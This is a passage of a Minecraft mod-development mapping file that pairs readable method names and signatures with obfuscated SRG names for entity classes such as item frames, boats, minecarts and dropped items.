net/minecraft/entity/item/EntityItemFrame/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/item/EntityItemFrame/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/item/EntityItemFrame/dropItemOrSelf (Lnet/minecraft/entity/Entity;Z)V net/minecraft/entity/item/EntityItemFrame/func_146065_b (Lnet/minecraft/entity/Entity;Z)V +MD: net/minecraft/entity/item/EntityItemFrame/setDisplayedItem (Lnet/minecraft/item/ItemStack;)V net/minecraft/entity/item/EntityItemFrame/func_82334_a (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/item/EntityItemFrame/setDisplayedItemWithUpdate (Lnet/minecraft/item/ItemStack;Z)V net/minecraft/entity/item/EntityItemFrame/func_174864_a (Lnet/minecraft/item/ItemStack;Z)V +MD: net/minecraft/entity/item/EntityItemFrame/getCollisionBorderSize ()F net/minecraft/entity/item/EntityItemFrame/func_70111_Y ()F +MD: net/minecraft/entity/item/EntityItemFrame/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityItemFrame/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityItemFrame/onBroken (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/item/EntityItemFrame/func_110128_b (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/item/EntityItemFrame/removeFrameFromMap (Lnet/minecraft/item/ItemStack;)V net/minecraft/entity/item/EntityItemFrame/func_110131_b (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/item/EntityItemFrame/interactFirst (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/item/EntityItemFrame/func_130002_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/item/EntityItemFrame/entityInit ()V net/minecraft/entity/item/EntityItemFrame/func_70088_a ()V +MD: net/minecraft/entity/item/EntityItemFrame/getWidthPixels ()I net/minecraft/entity/item/EntityItemFrame/func_82329_d ()I +MD: net/minecraft/entity/item/EntityItemFrame/getHeightPixels ()I net/minecraft/entity/item/EntityItemFrame/func_82330_g ()I +MD: net/minecraft/entity/item/EntityItemFrame/getDisplayedItem ()Lnet/minecraft/item/ItemStack; net/minecraft/entity/item/EntityItemFrame/func_82335_i ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/item/EntityItemFrame/getRotation ()I net/minecraft/entity/item/EntityItemFrame/func_82333_j ()I +MD: net/minecraft/entity/item/EntityItemFrame/func_174866_q ()I net/minecraft/entity/item/EntityItemFrame/func_174866_q ()I +MD: net/minecraft/entity/EntityLeashKnot/isInRangeToRenderDist (D)Z net/minecraft/entity/EntityLeashKnot/func_70112_a (D)Z +MD: net/minecraft/entity/EntityLeashKnot/createKnot (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/entity/EntityLeashKnot; net/minecraft/entity/EntityLeashKnot/func_174862_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/entity/EntityLeashKnot; +MD: net/minecraft/entity/EntityLeashKnot/updateFacingWithBoundingBox (Lnet/minecraft/util/EnumFacing;)V net/minecraft/entity/EntityLeashKnot/func_174859_a (Lnet/minecraft/util/EnumFacing;)V +MD: net/minecraft/entity/EntityLeashKnot/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/EntityLeashKnot/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/EntityLeashKnot/getEyeHeight ()F net/minecraft/entity/EntityLeashKnot/func_70047_e ()F +MD: net/minecraft/entity/EntityLeashKnot/getKnotForPosition (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/entity/EntityLeashKnot; net/minecraft/entity/EntityLeashKnot/func_174863_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/entity/EntityLeashKnot; +MD: net/minecraft/entity/EntityLeashKnot/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/EntityLeashKnot/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/EntityLeashKnot/onBroken (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/EntityLeashKnot/func_110128_b (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/EntityLeashKnot/writeToNBTOptional (Lnet/minecraft/nbt/NBTTagCompound;)Z net/minecraft/entity/EntityLeashKnot/func_70039_c (Lnet/minecraft/nbt/NBTTagCompound;)Z +MD: net/minecraft/entity/EntityLeashKnot/interactFirst (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/EntityLeashKnot/func_130002_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/EntityLeashKnot/entityInit ()V net/minecraft/entity/EntityLeashKnot/func_70088_a ()V +MD: net/minecraft/entity/EntityLeashKnot/onValidSurface ()Z net/minecraft/entity/EntityLeashKnot/func_70518_d ()Z +MD: net/minecraft/entity/EntityLeashKnot/getWidthPixels ()I net/minecraft/entity/EntityLeashKnot/func_82329_d ()I +MD: net/minecraft/entity/EntityLeashKnot/getHeightPixels ()I net/minecraft/entity/EntityLeashKnot/func_82330_g ()I +MD: net/minecraft/entity/item/EntityPainting$EnumArt/valueOf (Ljava/lang/String;)Lnet/minecraft/entity/item/EntityPainting$EnumArt; net/minecraft/entity/item/EntityPainting$EnumArt/valueOf (Ljava/lang/String;)Lnet/minecraft/entity/item/EntityPainting$EnumArt; +MD: net/minecraft/entity/item/EntityPainting$EnumArt/values ()[Lnet/minecraft/entity/item/EntityPainting$EnumArt; net/minecraft/entity/item/EntityPainting$EnumArt/values ()[Lnet/minecraft/entity/item/EntityPainting$EnumArt; +MD: net/minecraft/entity/item/EntityPainting/setPositionAndRotation2 (DDDFFIZ)V net/minecraft/entity/item/EntityPainting/func_180426_a (DDDFFIZ)V +MD: net/minecraft/entity/item/EntityPainting/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityPainting/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityPainting/setLocationAndAngles (DDDFF)V net/minecraft/entity/item/EntityPainting/func_70012_b (DDDFF)V +MD: net/minecraft/entity/item/EntityPainting/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityPainting/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityPainting/onBroken (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/item/EntityPainting/func_110128_b (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/item/EntityPainting/getWidthPixels ()I net/minecraft/entity/item/EntityPainting/func_82329_d ()I +MD: net/minecraft/entity/item/EntityPainting/getHeightPixels ()I net/minecraft/entity/item/EntityPainting/func_82330_g ()I +MD: net/minecraft/entity/projectile/EntityFishHook/setDead ()V net/minecraft/entity/projectile/EntityFishHook/func_70106_y ()V +MD: net/minecraft/entity/projectile/EntityFishHook/isInRangeToRenderDist (D)Z net/minecraft/entity/projectile/EntityFishHook/func_70112_a (D)Z +MD: net/minecraft/entity/projectile/EntityFishHook/setPositionAndRotation2 (DDDFFIZ)V net/minecraft/entity/projectile/EntityFishHook/func_180426_a (DDDFFIZ)V +MD: net/minecraft/entity/projectile/EntityFishHook/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/projectile/EntityFishHook/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/projectile/EntityFishHook/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/projectile/EntityFishHook/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/projectile/EntityFishHook/handleHookCasting (DDDFF)V net/minecraft/entity/projectile/EntityFishHook/func_146035_c (DDDFF)V +MD: net/minecraft/entity/projectile/EntityFishHook/entityInit ()V net/minecraft/entity/projectile/EntityFishHook/func_70088_a ()V +MD: net/minecraft/entity/projectile/EntityFishHook/setVelocity (DDD)V net/minecraft/entity/projectile/EntityFishHook/func_70016_h (DDD)V +MD: net/minecraft/entity/projectile/EntityFishHook/func_174855_j ()Ljava/util/List; net/minecraft/entity/projectile/EntityFishHook/func_174855_j ()Ljava/util/List; +MD: net/minecraft/entity/projectile/EntityFishHook/handleHookRetraction ()I net/minecraft/entity/projectile/EntityFishHook/func_146034_e ()I +MD: net/minecraft/entity/projectile/EntityFishHook/getFishingResult ()Lnet/minecraft/item/ItemStack; net/minecraft/entity/projectile/EntityFishHook/func_146033_f ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/projectile/EntityFishHook/onUpdate ()V net/minecraft/entity/projectile/EntityFishHook/func_70071_h_ ()V +MD: net/minecraft/util/WeightedRandomFishable/setEnchantable ()Lnet/minecraft/util/WeightedRandomFishable; net/minecraft/util/WeightedRandomFishable/func_150707_a ()Lnet/minecraft/util/WeightedRandomFishable; +MD: net/minecraft/util/WeightedRandomFishable/setMaxDamagePercent (F)Lnet/minecraft/util/WeightedRandomFishable; net/minecraft/util/WeightedRandomFishable/func_150709_a (F)Lnet/minecraft/util/WeightedRandomFishable; +MD: net/minecraft/util/WeightedRandomFishable/getItemStack (Ljava/util/Random;)Lnet/minecraft/item/ItemStack; net/minecraft/util/WeightedRandomFishable/func_150708_a (Ljava/util/Random;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/effect/EntityLightningBolt/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/effect/EntityLightningBolt/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/effect/EntityLightningBolt/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/effect/EntityLightningBolt/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/effect/EntityLightningBolt/entityInit ()V net/minecraft/entity/effect/EntityLightningBolt/func_70088_a ()V +MD: net/minecraft/entity/effect/EntityLightningBolt/onUpdate ()V net/minecraft/entity/effect/EntityLightningBolt/func_70071_h_ ()V +MD: net/minecraft/entity/item/EntityBoat/getCollisionBoundingBox ()Lnet/minecraft/util/AxisAlignedBB; net/minecraft/entity/item/EntityBoat/func_70046_E ()Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/entity/item/EntityBoat/setPositionAndRotation2 (DDDFFIZ)V net/minecraft/entity/item/EntityBoat/func_180426_a (DDDFFIZ)V +MD: net/minecraft/entity/item/EntityBoat/updateFallState (DZLnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;)V net/minecraft/entity/item/EntityBoat/func_180433_a (DZLnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/entity/item/EntityBoat/setDamageTaken (F)V net/minecraft/entity/item/EntityBoat/func_70266_a (F)V +MD: net/minecraft/entity/item/EntityBoat/setTimeSinceHit (I)V net/minecraft/entity/item/EntityBoat/func_70265_b (I)V +MD: net/minecraft/entity/item/EntityBoat/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityBoat/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityBoat/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/item/EntityBoat/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/item/EntityBoat/setIsBoatEmpty (Z)V net/minecraft/entity/item/EntityBoat/func_70270_d (Z)V +MD: net/minecraft/entity/item/EntityBoat/canBeCollidedWith ()Z net/minecraft/entity/item/EntityBoat/func_70067_L ()Z +MD: net/minecraft/entity/item/EntityBoat/canBePushed ()Z net/minecraft/entity/item/EntityBoat/func_70104_M ()Z +MD: net/minecraft/entity/item/EntityBoat/updateRiderPosition ()V net/minecraft/entity/item/EntityBoat/func_70043_V ()V +MD: net/minecraft/entity/item/EntityBoat/getMountedYOffset ()D net/minecraft/entity/item/EntityBoat/func_70042_X ()D +MD: net/minecraft/entity/item/EntityBoat/performHurtAnimation ()V net/minecraft/entity/item/EntityBoat/func_70057_ab ()V +MD: net/minecraft/entity/item/EntityBoat/setForwardDirection (I)V net/minecraft/entity/item/EntityBoat/func_70269_c (I)V +MD: net/minecraft/entity/item/EntityBoat/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityBoat/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityBoat/interactFirst (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/item/EntityBoat/func_130002_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/item/EntityBoat/entityInit ()V net/minecraft/entity/item/EntityBoat/func_70088_a ()V +MD: net/minecraft/entity/item/EntityBoat/setVelocity (DDD)V net/minecraft/entity/item/EntityBoat/func_70016_h (DDD)V +MD: net/minecraft/entity/item/EntityBoat/getDamageTaken ()F net/minecraft/entity/item/EntityBoat/func_70271_g ()F +MD: net/minecraft/entity/item/EntityBoat/getCollisionBox (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/entity/item/EntityBoat/func_70114_g (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/entity/item/EntityBoat/getTimeSinceHit ()I net/minecraft/entity/item/EntityBoat/func_70268_h ()I +MD: net/minecraft/entity/item/EntityBoat/getForwardDirection ()I net/minecraft/entity/item/EntityBoat/func_70267_i ()I +MD: net/minecraft/entity/item/EntityBoat/canTriggerWalking ()Z net/minecraft/entity/item/EntityBoat/func_70041_e_ ()Z +MD: net/minecraft/entity/item/EntityBoat/onUpdate ()V net/minecraft/entity/item/EntityBoat/func_70071_h_ ()V +MD: net/minecraft/entity/item/EntityFallingBlock/addEntityCrashInfo (Lnet/minecraft/crash/CrashReportCategory;)V net/minecraft/entity/item/EntityFallingBlock/func_85029_a (Lnet/minecraft/crash/CrashReportCategory;)V +MD: net/minecraft/entity/item/EntityFallingBlock/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityFallingBlock/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityFallingBlock/setHurtEntities (Z)V net/minecraft/entity/item/EntityFallingBlock/func_145806_a (Z)V +MD: net/minecraft/entity/item/EntityFallingBlock/canRenderOnFire ()Z net/minecraft/entity/item/EntityFallingBlock/func_90999_ad ()Z +MD: net/minecraft/entity/item/EntityFallingBlock/canBeCollidedWith ()Z net/minecraft/entity/item/EntityFallingBlock/func_70067_L ()Z +MD: net/minecraft/entity/item/EntityFallingBlock/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityFallingBlock/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityFallingBlock/fall (FF)V net/minecraft/entity/item/EntityFallingBlock/func_180430_e (FF)V +MD: net/minecraft/entity/item/EntityFallingBlock/entityInit ()V net/minecraft/entity/item/EntityFallingBlock/func_70088_a ()V +MD: net/minecraft/entity/item/EntityFallingBlock/getWorldObj ()Lnet/minecraft/world/World; net/minecraft/entity/item/EntityFallingBlock/func_145807_e ()Lnet/minecraft/world/World; +MD: net/minecraft/entity/item/EntityFallingBlock/getBlock ()Lnet/minecraft/block/state/IBlockState; net/minecraft/entity/item/EntityFallingBlock/func_175131_l ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/entity/item/EntityFallingBlock/canTriggerWalking ()Z net/minecraft/entity/item/EntityFallingBlock/func_70041_e_ ()Z +MD: net/minecraft/entity/item/EntityFallingBlock/onUpdate ()V net/minecraft/entity/item/EntityFallingBlock/func_70071_h_ ()V +MD: net/minecraft/entity/item/EntityItem/handleWaterMovement ()Z net/minecraft/entity/item/EntityItem/func_70072_I ()Z +MD: net/minecraft/entity/item/EntityItem/setPickupDelay (I)V net/minecraft/entity/item/EntityItem/func_174867_a (I)V +MD: net/minecraft/entity/item/EntityItem/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityItem/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityItem/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/item/EntityItem/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/item/EntityItem/combineItems (Lnet/minecraft/entity/item/EntityItem;)Z net/minecraft/entity/item/EntityItem/func_70289_a (Lnet/minecraft/entity/item/EntityItem;)Z +MD: net/minecraft/entity/item/EntityItem/setEntityItemStack (Lnet/minecraft/item/ItemStack;)V net/minecraft/entity/item/EntityItem/func_92058_a (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/item/EntityItem/canAttackWithItem ()Z net/minecraft/entity/item/EntityItem/func_70075_an ()Z +MD: net/minecraft/entity/item/EntityItem/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityItem/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityItem/setOwner (Ljava/lang/String;)V net/minecraft/entity/item/EntityItem/func_145797_a (Ljava/lang/String;)V +MD: net/minecraft/entity/item/EntityItem/travelToDimension (I)V net/minecraft/entity/item/EntityItem/func_71027_c (I)V +MD: net/minecraft/entity/item/EntityItem/setThrower (Ljava/lang/String;)V net/minecraft/entity/item/EntityItem/func_145799_b (Ljava/lang/String;)V +MD: net/minecraft/entity/item/EntityItem/onCollideWithPlayer (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/entity/item/EntityItem/func_70100_b_ (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/entity/item/EntityItem/getName ()Ljava/lang/String; net/minecraft/entity/item/EntityItem/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/entity/item/EntityItem/dealFireDamage (I)V net/minecraft/entity/item/EntityItem/func_70081_e (I)V +MD: net/minecraft/entity/item/EntityItem/entityInit ()V net/minecraft/entity/item/EntityItem/func_70088_a ()V +MD: net/minecraft/entity/item/EntityItem/setAgeToCreativeDespawnTime ()V net/minecraft/entity/item/EntityItem/func_70288_d ()V +MD: net/minecraft/entity/item/EntityItem/getEntityItem ()Lnet/minecraft/item/ItemStack; net/minecraft/entity/item/EntityItem/func_92059_d ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/item/EntityItem/getOwner ()Ljava/lang/String; net/minecraft/entity/item/EntityItem/func_145798_i ()Ljava/lang/String; +MD: net/minecraft/entity/item/EntityItem/getThrower ()Ljava/lang/String; net/minecraft/entity/item/EntityItem/func_145800_j ()Ljava/lang/String; +MD: net/minecraft/entity/item/EntityItem/getAge ()I net/minecraft/entity/item/EntityItem/func_174872_o ()I +MD: net/minecraft/entity/item/EntityItem/setDefaultPickupDelay ()V net/minecraft/entity/item/EntityItem/func_174869_p ()V +MD: net/minecraft/entity/item/EntityItem/setNoPickupDelay ()V net/minecraft/entity/item/EntityItem/func_174868_q ()V +MD: net/minecraft/entity/item/EntityItem/setInfinitePickupDelay ()V net/minecraft/entity/item/EntityItem/func_174871_r ()V +MD: net/minecraft/entity/item/EntityItem/cannotPickup ()Z net/minecraft/entity/item/EntityItem/func_174874_s ()Z +MD: net/minecraft/entity/item/EntityItem/canTriggerWalking ()Z net/minecraft/entity/item/EntityItem/func_70041_e_ ()Z +MD: net/minecraft/entity/item/EntityItem/onUpdate ()V net/minecraft/entity/item/EntityItem/func_70071_h_ ()V +MD: net/minecraft/entity/item/EntityItem/setNoDespawn ()V net/minecraft/entity/item/EntityItem/func_174873_u ()V +MD: net/minecraft/entity/item/EntityItem/func_174870_v ()V net/minecraft/entity/item/EntityItem/func_174870_v ()V +MD: net/minecraft/entity/item/EntityItem/searchForOtherItemsNearby ()V net/minecraft/entity/item/EntityItem/func_85054_d ()V +MD: net/minecraft/command/CommandCompare/getRequiredPermissionLevel ()I net/minecraft/command/CommandCompare/func_82362_a ()I +MD: net/minecraft/command/CommandCompare/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandCompare/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandCompare/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandCompare/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandCompare/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandCompare/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandCompare/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandCompare/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/entity/item/EntityMinecart$EnumMinecartType/getNetworkID ()I net/minecraft/entity/item/EntityMinecart$EnumMinecartType/func_180039_a ()I +MD: net/minecraft/entity/item/EntityMinecart$EnumMinecartType/byNetworkID (I)Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; net/minecraft/entity/item/EntityMinecart$EnumMinecartType/func_180038_a (I)Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; +MD: net/minecraft/entity/item/EntityMinecart$EnumMinecartType/getName ()Ljava/lang/String; net/minecraft/entity/item/EntityMinecart$EnumMinecartType/func_180040_b ()Ljava/lang/String; +MD: net/minecraft/entity/item/EntityMinecart$EnumMinecartType/values ()[Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; net/minecraft/entity/item/EntityMinecart$EnumMinecartType/values ()[Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; +MD: net/minecraft/entity/item/EntityMinecart/setDead ()V net/minecraft/entity/item/EntityMinecart/func_70106_y ()V +MD: net/minecraft/entity/item/EntityMinecart/getCollisionBoundingBox ()Lnet/minecraft/util/AxisAlignedBB; net/minecraft/entity/item/EntityMinecart/func_70046_E ()Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/entity/item/EntityMinecart/func_70495_a (DDDD)Lnet/minecraft/util/Vec3; net/minecraft/entity/item/EntityMinecart/func_70495_a (DDDD)Lnet/minecraft/util/Vec3; +MD: net/minecraft/entity/item/EntityMinecart/setPositionAndRotation2 (DDDFFIZ)V net/minecraft/entity/item/EntityMinecart/func_180426_a (DDDFFIZ)V +MD: net/minecraft/entity/item/EntityMinecart/setDamage (F)V net/minecraft/entity/item/EntityMinecart/func_70492_c (F)V +MD: net/minecraft/entity/item/EntityMinecart/onActivatorRailPass (IIIZ)V net/minecraft/entity/item/EntityMinecart/func_96095_a (IIIZ)V +MD: net/minecraft/entity/item/EntityMinecart/getMinecart (Lnet/minecraft/world/World;DDDLnet/minecraft/entity/item/EntityMinecart$EnumMinecartType;)Lnet/minecraft/entity/item/EntityMinecart; net/minecraft/entity/item/EntityMinecart/func_180458_a (Lnet/minecraft/world/World;DDDLnet/minecraft/entity/item/EntityMinecart$EnumMinecartType;)Lnet/minecraft/entity/item/EntityMinecart; +MD: net/minecraft/entity/item/EntityMinecart/func_174899_a (Lnet/minecraft/block/state/IBlockState;)V net/minecraft/entity/item/EntityMinecart/func_174899_a (Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/entity/item/EntityMinecart/func_180460_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/entity/item/EntityMinecart/func_180460_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/entity/item/EntityMinecart/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityMinecart/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityMinecart/setCustomNameTag (Ljava/lang/String;)V net/minecraft/entity/item/EntityMinecart/func_96094_a (Ljava/lang/String;)V +MD: net/minecraft/entity/item/EntityMinecart/killMinecart (Lnet/minecraft/util/DamageSource;)V net/minecraft/entity/item/EntityMinecart/func_94095_a (Lnet/minecraft/util/DamageSource;)V +MD: net/minecraft/entity/item/EntityMinecart/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/item/EntityMinecart/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/item/EntityMinecart/setHasDisplayTile (Z)V net/minecraft/entity/item/EntityMinecart/func_94096_e (Z)V +MD: net/minecraft/entity/item/EntityMinecart/getCustomNameTag ()Ljava/lang/String; net/minecraft/entity/item/EntityMinecart/func_95999_t ()Ljava/lang/String; +MD: net/minecraft/entity/item/EntityMinecart/canBeCollidedWith ()Z net/minecraft/entity/item/EntityMinecart/func_70067_L ()Z +MD: net/minecraft/entity/item/EntityMinecart/canBePushed ()Z net/minecraft/entity/item/EntityMinecart/func_70104_M ()Z +MD: net/minecraft/entity/item/EntityMinecart/getMountedYOffset ()D net/minecraft/entity/item/EntityMinecart/func_70042_X ()D +MD: net/minecraft/entity/item/EntityMinecart/performHurtAnimation ()V net/minecraft/entity/item/EntityMinecart/func_70057_ab ()V +MD: net/minecraft/entity/item/EntityMinecart/setPosition (DDD)V net/minecraft/entity/item/EntityMinecart/func_70107_b (DDD)V +MD: net/minecraft/entity/item/EntityMinecart/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityMinecart/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityMinecart/getName ()Ljava/lang/String; net/minecraft/entity/item/EntityMinecart/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/entity/item/EntityMinecart/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/entity/item/EntityMinecart/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/entity/item/EntityMinecart/entityInit ()V net/minecraft/entity/item/EntityMinecart/func_70088_a ()V +MD: net/minecraft/entity/item/EntityMinecart/setVelocity (DDD)V net/minecraft/entity/item/EntityMinecart/func_70016_h (DDD)V +MD: net/minecraft/entity/item/EntityMinecart/applyEntityCollision (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/item/EntityMinecart/func_70108_f (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/item/EntityMinecart/setRollingAmplitude (I)V net/minecraft/entity/item/EntityMinecart/func_70497_h (I)V +MD: net/minecraft/entity/item/EntityMinecart/getCollisionBox (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/entity/item/EntityMinecart/func_70114_g (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/entity/item/EntityMinecart/func_70489_a (DDD)Lnet/minecraft/util/Vec3; net/minecraft/entity/item/EntityMinecart/func_70489_a (DDD)Lnet/minecraft/util/Vec3; +MD: net/minecraft/entity/item/EntityMinecart/setRollingDirection (I)V net/minecraft/entity/item/EntityMinecart/func_70494_i (I)V +MD: net/minecraft/entity/item/EntityMinecart/setDisplayTileOffset (I)V net/minecraft/entity/item/EntityMinecart/func_94086_l (I)V +MD: net/minecraft/entity/item/EntityMinecart/hasCustomName ()Z net/minecraft/entity/item/EntityMinecart/func_145818_k_ ()Z +MD: net/minecraft/entity/item/EntityMinecart/getMaximumSpeed ()D net/minecraft/entity/item/EntityMinecart/func_174898_m ()D +MD: net/minecraft/entity/item/EntityMinecart/moveDerailedMinecart ()V net/minecraft/entity/item/EntityMinecart/func_180459_n ()V +MD: net/minecraft/entity/item/EntityMinecart/applyDrag ()V net/minecraft/entity/item/EntityMinecart/func_94101_h ()V +MD: net/minecraft/entity/item/EntityMinecart/getDamage ()F net/minecraft/entity/item/EntityMinecart/func_70491_i ()F +MD: net/minecraft/entity/item/EntityMinecart/getRollingAmplitude ()I net/minecraft/entity/item/EntityMinecart/func_70496_j ()I +MD: net/minecraft/entity/item/EntityMinecart/getRollingDirection ()I net/minecraft/entity/item/EntityMinecart/func_70493_k ()I +MD: net/minecraft/entity/item/EntityMinecart/getMinecartType ()Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; net/minecraft/entity/item/EntityMinecart/func_180456_s ()Lnet/minecraft/entity/item/EntityMinecart$EnumMinecartType; +MD: net/minecraft/entity/item/EntityMinecart/canTriggerWalking ()Z net/minecraft/entity/item/EntityMinecart/func_70041_e_ ()Z +MD: net/minecraft/entity/item/EntityMinecart/getDisplayTile ()Lnet/minecraft/block/state/IBlockState; net/minecraft/entity/item/EntityMinecart/func_174897_t ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/entity/item/EntityMinecart/onUpdate ()V net/minecraft/entity/item/EntityMinecart/func_70071_h_ ()V +MD: net/minecraft/entity/item/EntityMinecart/getDefaultDisplayTile ()Lnet/minecraft/block/state/IBlockState; net/minecraft/entity/item/EntityMinecart/func_180457_u ()Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/entity/item/EntityMinecart/getDisplayTileOffset ()I net/minecraft/entity/item/EntityMinecart/func_94099_q ()I +MD: 